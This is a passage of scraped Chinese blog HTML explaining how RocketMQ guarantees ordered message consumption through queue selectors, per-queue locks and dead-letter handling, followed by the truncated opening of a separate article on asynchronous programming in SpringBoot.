8px;padding-bottom: 8px;line-height: 1.75;margin-top: 0.8em;margin-bottom: 0.8em;">答案:各退一步,保证局部有序。</p> <blockquote data-tool="mdnice编辑器" style="border-width: initial;border-style: none;border-color: initial;font-size: 0.9em;overflow: auto;margin-bottom: 20px;margin-top: 20px;padding-top: 15px;padding-right: 10px;padding-bottom: 15px;line-height: 1.75;border-radius: 13px;color: rgb(53, 53, 53);background: rgb(245, 245, 245);"> <span style="display: block;font-size: 2em;color: rgb(248, 57, 41);font-family: Arial, serif;line-height: 1em;font-weight: 700;">“</span> <p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;font-size: 16px;margin-right: 10px;margin-left: 10px;">比如上面的电商例子,只要保证一个订单的多条状态消息在同一个分区,便可以满足业务需求,这个方案可以覆盖大部分的业务场景。</p> <span style="float: right;display: block;font-size: 2em;color: rgb(248, 57, 41);font-family: Arial, serif;line-height: 1em;font-weight: 700;">”</span> </blockquote> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 1.75;margin-top: 0.8em;margin-bottom: 0.8em;">这里面只需要有一个<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 93, 108);">路由策略</code>组件,由它决定消息该放到哪个分区中!</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 1.75;margin-top: 0.8em;margin-bottom: 0.8em;">考虑到市面MQ开源框架很多,常见的如:Kafka、Pulsar、RabbitMQ、RocketMQ 等,API方法略有区别,但设计思路是相通的。</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 1.75;margin-top: 0.8em;margin-bottom: 0.8em;">接下来,我们以 <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 93, 108);">RocketMQ</code> 为例:</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 1.75;margin-top: 0.8em;margin-bottom: 0.8em;"><span style="font-weight: 700;color: rgb(248, 57, 41);">生产端提供了一个接口</span> <span style="font-weight: 700;color: rgb(248, 57, 41);"><code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 93, 108);">MessageQueueSelector</code></span></p> <pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&quot;https://mmbiz.qpic.cn/mmbiz_svg/A7sq8BD8oewJibQ3rHv2SQibfhuTE8tzApU5Ug8tm646Se27j5Z1KtKWNU06PWx4XFuqrG4SZTicCB9YnwGLpL2iaEkL7A47hbMu/640?wx_fmt=svg&quot;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;"><span style="color: #a626a4;line-height: 26px;">public</span>&nbsp;<span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">interface</span>&nbsp;<span style="color: #c18401;line-height: 26px;">MessageQueueSelector</span>&nbsp;</span>{<br>&nbsp;&nbsp;&nbsp;<span style="line-height: 26px;">MessageQueue&nbsp;<span style="color: #4078f2;line-height: 26px;">select</span><span style="line-height: 26px;">(<span style="color: #a626a4;line-height: 26px;">final</span>&nbsp;List&lt;MessageQueue&gt;&nbsp;mqs,&nbsp;<span style="color: #a626a4;line-height: 26px;">final</span>&nbsp;Message&nbsp;msg,&nbsp;<span style="color: #a626a4;line-height: 26px;">final</span>&nbsp;Object&nbsp;arg)</span></span>;<br>}<br></code></pre> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 1.75;margin-top: 0.8em;margin-bottom: 0.8em;">接口内定义一个select方法,具体参数含义:</p> <ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(248, 57, 41);" class="list-paddingleft-2"> <li> <section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(53, 53, 53);"> <span style="font-weight: 700;color: rgb(248, 57, 41);">mqs</span>:该Topic下所有的队列分片 </section></li> <li> <section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(53, 53, 53);"> <span style="font-weight: 700;color: rgb(248, 57, 41);">msg</span>:待发送的消息 </section></li> <li> <section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(53, 53, 53);"> <span style="font-weight: 700;color: rgb(248, 57, 41);">arg</span>:发送消息时传递的参数 </section></li> </ul> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 1.75;margin-top: 0.8em;margin-bottom: 0.8em;">关于<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 93, 108);">MessageQueueSelector</code>接口,RocketMQ 框架提供了三个默认实现类:</p> <ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(248, 57, 41);" class="list-paddingleft-2"> <li> <section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(53, 53, 53);"> <span style="font-weight: 700;color: rgb(248, 57, 41);">1、SelectMessageQueueByHash</span>: </section></li> </ul> <blockquote data-tool="mdnice编辑器" style="border-width: initial;border-style: none;border-color: initial;font-size: 0.9em;overflow: auto;margin-bottom: 20px;margin-top: 20px;padding-top: 15px;padding-right: 10px;padding-bottom: 15px;line-height: 1.75;border-radius: 13px;color: rgb(53, 53, 53);background: rgb(245, 245, 245);"> <span style="display: block;font-size: 2em;color: rgb(248, 57, 41);font-family: Arial, serif;line-height: 1em;font-weight: 700;">“</span> <p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;font-size: 16px;margin-right: 10px;margin-left: 10px;">arg参数的hashcode的绝对值,然后对mqs.size()取余,得到目标队列在mqs的下标</p> <span style="float: right;display: block;font-size: 2em;color: rgb(248, 57, 41);font-family: Arial, serif;line-height: 1em;font-weight: 700;">”</span> </blockquote> <ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(248, 57, 41);" class="list-paddingleft-2"> <li> <section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(53, 53, 53);"> <span style="font-weight: 700;color: rgb(248, 57, 41);">2、SelectMessageQueueByRandom</span>: </section></li> </ul> <blockquote data-tool="mdnice编辑器" style="border-width: initial;border-style: none;border-color: initial;font-size: 0.9em;overflow: auto;margin-bottom: 20px;margin-top: 20px;padding-top: 15px;padding-right: 10px;padding-bottom: 15px;line-height: 1.75;border-radius: 13px;color: rgb(53, 53, 53);background: rgb(245, 245, 245);"> <span style="display: block;font-size: 2em;color: rgb(248, 57, 41);font-family: Arial, serif;line-height: 1em;font-weight: 700;">“</span> <p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;font-size: 16px;margin-right: 10px;margin-left: 10px;">对mqs.size()值取随机数作为目标队列在mqs的下标</p> <span style="float: right;display: block;font-size: 2em;color: rgb(248, 57, 41);font-family: Arial, serif;line-height: 1em;font-weight: 700;">”</span> </blockquote> <ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(248, 57, 41);" class="list-paddingleft-2"> <li> <section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(53, 53, 53);"> <span style="font-weight: 700;color: rgb(248, 57, 41);">3、SelectMessageQueueByMachineRoom</span>: </section></li> </ul> <blockquote data-tool="mdnice编辑器" style="border-width: initial;border-style: none;border-color: initial;font-size: 0.9em;overflow: auto;margin-bottom: 20px;margin-top: 20px;padding-top: 15px;padding-right: 10px;padding-bottom: 15px;line-height: 1.75;border-radius: 13px;color: rgb(53, 53, 53);background: rgb(245, 245, 245);"> <span style="display: block;font-size: 2em;color: rgb(248, 57, 41);font-family: Arial, serif;line-height: 1em;font-weight: 700;">“</span> <p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;font-size: 16px;margin-right: 10px;margin-left: 10px;">返回null</p> <span style="float: right;display: block;font-size: 2em;color: rgb(248, 57, 41);font-family: Arial, serif;line-height: 1em;font-weight: 700;">”</span> </blockquote> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 1.75;margin-top: 0.8em;margin-bottom: 0.8em;"><span style="font-weight: 700;color: rgb(248, 57, 41);">特别注意:</span></p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 1.75;margin-top: 0.8em;margin-bottom: 0.8em;">虽然保证了单个分片的消息有序,但每个分片的消费者只能是单线程处理,因为多线程无法控制消费顺序。这个可能会损失一些性能。</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 1.75;margin-top: 0.8em;margin-bottom: 0.8em;"><span style="font-weight: 700;color: rgb(248, 57, 41);">这里又引出另一个问题,如何保证一个队列只能有一个消费端呢?</span></p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 1.75;margin-top: 0.8em;margin-bottom: 0.8em;"><span style="font-weight: 700;color: rgb(248, 57, 41);">1、org.apache.rocketmq.client.impl.consumer.RebalanceImpl#updateProcessQueueTableInRebalance</span></p> <figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;border-radius: 16px;overflow: hidden;padding: 0px 0.5em;"> <img class="rich_pages wxw-img" data-ratio="0.725925925925926" src="/upload/da043c49204c9c4c2385abd834651c5e.png" data-type="other" data-w="1080" style="border-radius: 9px;display: block;margin: 20px auto;max-width: 95%;object-fit: contain;box-shadow: rgb(210, 210, 210) 0em 0em 0.5em 0px;font-size: 17px;"> </figure> <ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(248, 57, 41);" class="list-paddingleft-2"> <li> <section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(53, 53, 53);"> 遍历一个topic下所有的 <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 93, 108);">MessageQueue</code> </section></li> <li> <section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(53, 53, 53);"> <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 93, 108);">isOrder &amp;&amp; !this.lock(mq)</code> 尝试对它加锁,确保一个 <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 93, 108);">MessageQueue</code>只能被一个消费者处理 </section></li> </ul> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 1.75;margin-top: 0.8em;margin-bottom: 0.8em;">2、将<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 93, 108);">PullRequest</code>对象放入<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 93, 108);">PullMessageService</code>的<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 93, 108);">pullRequestQueue</code>队列中</p> <pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&quot;https://mmbiz.qpic.cn/mmbiz_svg/A7sq8BD8oewJibQ3rHv2SQibfhuTE8tzApU5Ug8tm646Se27j5Z1KtKWNU06PWx4XFuqrG4SZTicCB9YnwGLpL2iaEkL7A47hbMu/640?wx_fmt=svg&quot;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;"><span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">public</span>&nbsp;<span style="color: #a626a4;line-height: 26px;">void</span>&nbsp;<span style="color: #4078f2;line-height: 26px;">dispatchPullRequest</span><span style="line-height: 26px;">(List&lt;PullRequest&gt;&nbsp;pullRequestList)</span>&nbsp;</span>{<br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #a626a4;line-height: 26px;">for</span>&nbsp;(PullRequest&nbsp;pullRequest&nbsp;:&nbsp;pullRequestList)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #a626a4;line-height: 26px;">this</span>.defaultMQPushConsumerImpl.executePullRequestImmediately(pullRequest);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;log.info(<span style="color: #50a14f;line-height: 26px;">"doRebalance,&nbsp;{},&nbsp;add&nbsp;a&nbsp;new&nbsp;pull&nbsp;request&nbsp;{}"</span>,&nbsp;consumerGroup,&nbsp;pullRequest);<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>}<br></code></pre> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 1.75;margin-top: 0.8em;margin-bottom: 0.8em;"><span style="font-weight: 700;color: rgb(248, 57, 41);">3、org.apache.rocketmq.client.impl.consumer.PullMessageService#run</span></p> <figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;border-radius: 16px;overflow: hidden;padding: 0px 0.5em;"> <img class="rich_pages wxw-img" data-ratio="0.5194444444444445" src="/upload/d6741a75cb320bd8f5f16a3dc9c1ce9.png" data-type="other" data-w="1080" style="border-radius: 9px;display: block;margin: 20px auto;max-width: 95%;object-fit: contain;box-shadow: rgb(210, 210, 210) 0em 0em 0.5em 0px;font-size: 17px;"> </figure> <ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(248, 57, 41);" class="list-paddingleft-2"> <li> <section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(53, 53, 53);"> <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 93, 108);">PullMessageService</code> 是一个 <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 93, 108);">Runnable</code>线程任务 </section></li> <li> <section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(53, 53, 53);"> 无限循环,从队列中拉取、处理消息 </section></li> </ul> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 1.75;margin-top: 0.8em;margin-bottom: 0.8em;"><span style="font-weight: 700;color: rgb(248, 57, 41);">另一个问题,如何保证一个队列,只有一个线程在处理消息呢?</span></p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 1.75;margin-top: 0.8em;margin-bottom: 0.8em;"><span style="font-weight: 700;color: rgb(248, 57, 41);">1、DefaultMQPushConsumerImpl#pullMessage</span></p> <figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;border-radius: 16px;overflow: hidden;padding: 0px 0.5em;"> <img class="rich_pages wxw-img" data-ratio="0.7925925925925926" src="/upload/958ba560fd79887034853421a3245cce.png" data-type="other" data-w="1080" style="border-radius: 9px;display: block;margin: 20px auto;max-width: 95%;object-fit: contain;box-shadow: rgb(210, 210, 210) 0em 0em 0.5em 0px;font-size: 17px;"> </figure> <ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(248, 57, 41);" class="list-paddingleft-2"> <li> <section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(53, 53, 53);"> <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 93, 108);">ConsumeMessageService</code> 中有两个实现类,因为我们有消费顺序要求,会选择 <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 93, 108);">ConsumeMessageOrderlyService</code>来处理业务 </section></li> </ul> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 1.75;margin-top: 0.8em;margin-bottom: 0.8em;"><span style="font-weight: 700;color: rgb(248, 57, 41);">2、ConsumeMessageOrderlyService.ConsumeRequest</span></p> <figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;border-radius: 16px;overflow: hidden;padding: 0px 0.5em;"> <img class="rich_pages wxw-img" data-ratio="0.387037037037037" src="/upload/5c065f26e322764367a1c7b1348f69be.png" data-type="other" data-w="1080" style="border-radius: 9px;display: block;margin: 20px auto;max-width: 95%;object-fit: contain;box-shadow: rgb(210, 210, 210) 0em 0em 0.5em 0px;font-size: 17px;"> </figure> <ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(248, 57, 41);" class="list-paddingleft-2"> <li> <section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(53, 53, 53);"> 从 <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 93, 108);">ConcurrentMap</code>中获取 <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 93, 108);">messageQueue</code>对应的锁对象 </section></li> <li> <section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(53, 53, 53);"> 通过 <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 93, 108);">synchronized</code> 关键字,线程来抢占锁,互斥关系,从而保证了一个 <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 93, 108);">MessageQueue</code>只能有一个线程并发处理 </section></li> </ul> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 1.75;margin-top: 0.8em;margin-bottom: 0.8em;"><span style="font-weight: 700;color: rgb(248, 57, 41);">继续往下看,如果扩容了怎么办?</span></p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 1.75;margin-top: 0.8em;margin-bottom: 0.8em;">原来有6个分区,<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 93, 108);">order_id_1</code>的消息在<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 93, 108);">MessageQueue6</code> 中,此时扩容一倍,现在12个分区,<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 93, 108);">order_id_1</code>订单后面产生的消息可能路由到了<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 93, 108);">MessageQueue8</code> 中,同一个订单的消息分布在两个分区中,无法保证顺序。</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 1.75;margin-top: 0.8em;margin-bottom: 0.8em;">我们能做的是,先将存量消息处理完,再扩容。如果是在线业务,可以搞个临时topic,先将消息暂时堆积,待扩容后,按新的路由规则重新发送。</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 1.75;margin-top: 0.8em;margin-bottom: 0.8em;"><span style="font-weight: 700;color: rgb(248, 57, 41);">顺序消息,如果某条失败了怎么办?会不会一直阻塞?</span></p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 1.75;margin-top: 0.8em;margin-bottom: 0.8em;">1、如果失败,不会提交消费位移,系统会自动重试(有重试上限),此时会阻塞后面的消息消费,直到这条消息处理完</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 1.75;margin-top: 0.8em;margin-bottom: 0.8em;">2、如果这个消息达到重试上限,依然失败,会进入<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 93, 108);">死信队列</code>,可以继续处理后面的消息</p> </section> <section class="mp_profile_iframe_wrp"> <mpprofile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-id="Mzg2NzYyNjQzNg==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/2KTof9YshwdmOC0H6kaQlnh3rvWF2hPpzBoAoibbfQkhLdXfEpQgd8frHoDJDH503rv3FaMK6las2rCNQY7icr6w/0?wx_fmt=png" data-nickname="微观技术" data-alias="weiguanjishu" data-signature="前阿里P7技术专家,研究生,出过专利。负责过电商交易、社区团购、流量营销等业务。分享后端架构技能、一线大厂面试经验、团队管理等话题。欢迎关注" data-from="0"></mpprofile> </section> <p style="text-align: right;"><span style="outline: 0px;font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei UI&quot;, &quot;Microsoft YaHei&quot;, Arial, sans-serif;letter-spacing: 0.544px;text-align: right;color: rgb(53, 53, 53);font-size: 16px;word-spacing: 0.8px;background-color: rgb(255, 255, 255);"></span></p> <p style="text-align: right;"><span style="outline: 0px;font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei UI&quot;, &quot;Microsoft YaHei&quot;, Arial, sans-serif;letter-spacing: 0.544px;text-align: right;color: rgb(53, 53, 53);font-size: 16px;word-spacing: 0.8px;background-color: rgb(255, 255, 255);">求点赞、在看、分享三连</span><img class="rich_pages wxw-img" data-fileid="100011967" data-ratio="1" src="/upload/1d550a991385b842a21e2b301725407e.png" data-type="png" data-w="20" style="outline: 0px;vertical-align: text-bottom;font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei UI&quot;, &quot;Microsoft YaHei&quot;, Arial, sans-serif;letter-spacing: 0.544px;text-align: right;white-space: normal;color: rgb(53, 53, 53);font-size: 16px;word-spacing: 0.8px;background-color: rgb(255, 255, 255);display: inline-block;box-sizing: border-box !important;visibility: visible !important;width: 20px !important;"></p>

SpringBoot 如何实现异步编程,老鸟们都这么玩的!

作者:微信小助手

<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &quot;PingFang SC&quot;, Cambria, Cochin, Georgia, Times, &quot;Times New Roman&quot;, serif;font-size: 14px;padding: 10px;"> <hr data-tool="mdnice编辑器" style="height: 1px;margin-top: 10px;margin-bottom: 10px;border-right: none;border-bottom: none;border-left: none;border-top-style: solid;border-top-color: black;"> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">今天来聊聊在SpringBoot项目中如何实现异步编程。</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">首先我们来看看在Spring中为什么要使用异步编程,它能解决什么问题?</p> <h2 data-tool="mdnice编辑器" style="font-size: 22px;text-align: center;font-weight: bold;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);"><span style="float: left;display: block;width: 90%;border-top: 1px solid #000;height: 1px;line-height: 1px;margin-left: -5px;margin-top: -17px;"> </span><span style="display: block;width: 3px;margin-left: 5%;height: 3px;line-height: 3px;overflow: hidden;background-color: rgb(0, 0, 0);box-shadow: rgb(0, 0, 0) 3px 0px, rgb(0, 0, 0) 0px 3px, rgb(0, 0, 0) -3px 0px, rgb(0, 0, 0) 0px -3px;"></span><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(rgba(0,0,0,0)),to(rgba(255,255,255,0.1)));"><a href="https://mp.weixin.qq.com/s?__biz=MzUzMTA2NTU2Ng==&amp;mid=2247487551&amp;idx=1&amp;sn=18f64ba49f3f0f9d8be9d1fdef8857d9&amp;scene=21#wechat_redirect" style="color: rgb(30, 107, 184);border-bottom: 1px solid rgb(30, 107, 184);" data-linktype="2">为什么要用异步框架,它解决什么问题?</a></span><span style="display: block;width: 3px;margin-left: 95%;height: 3px;line-height: 3px;overflow: hidden;background-color: rgb(0, 0, 0);box-shadow: rgb(0, 0, 0) 3px 0px, rgb(0, 0, 0) 0px 3px, rgb(0, 0, 0) -3px 0px, rgb(0, 0, 0) 0px -3px;"></span><span style="float: right;display: block;width: 90%;border-bottom: 1px solid #000;height: 1px;line-height: 1px;margin-right: -5px;margin-top: 16px;"> </span></h2> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在SpringBoot的日常开发中,一般都是同步调用的。但实际中有很多场景非常适合使用异步来处理,如:注册新用户,送100个积分;或下单成功,发送push消息等等。</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">就拿注册新用户这个用例来说,为什么要异步处理?</p> <ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;list-style-type: square;" class="list-paddingleft-2"> <li> <section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"> 第一个原因:容错性、健壮性,如果送积分出现异常,不能因为送积分而导致用户注册失败;因为用户注册是主要功能,送积分是次要功能,即使送积分异常也要提示用户注册成功,然后后面在针对积分异常做补偿处理。 </section></li> <li> <section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"> 第二个原因:提升性能,例如注册用户花了20毫秒,送积分花费50毫秒,如果用同步的话,总耗时70毫秒,用异步的话,无需等待积分,故耗时20毫秒。 </section></li> </ul> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 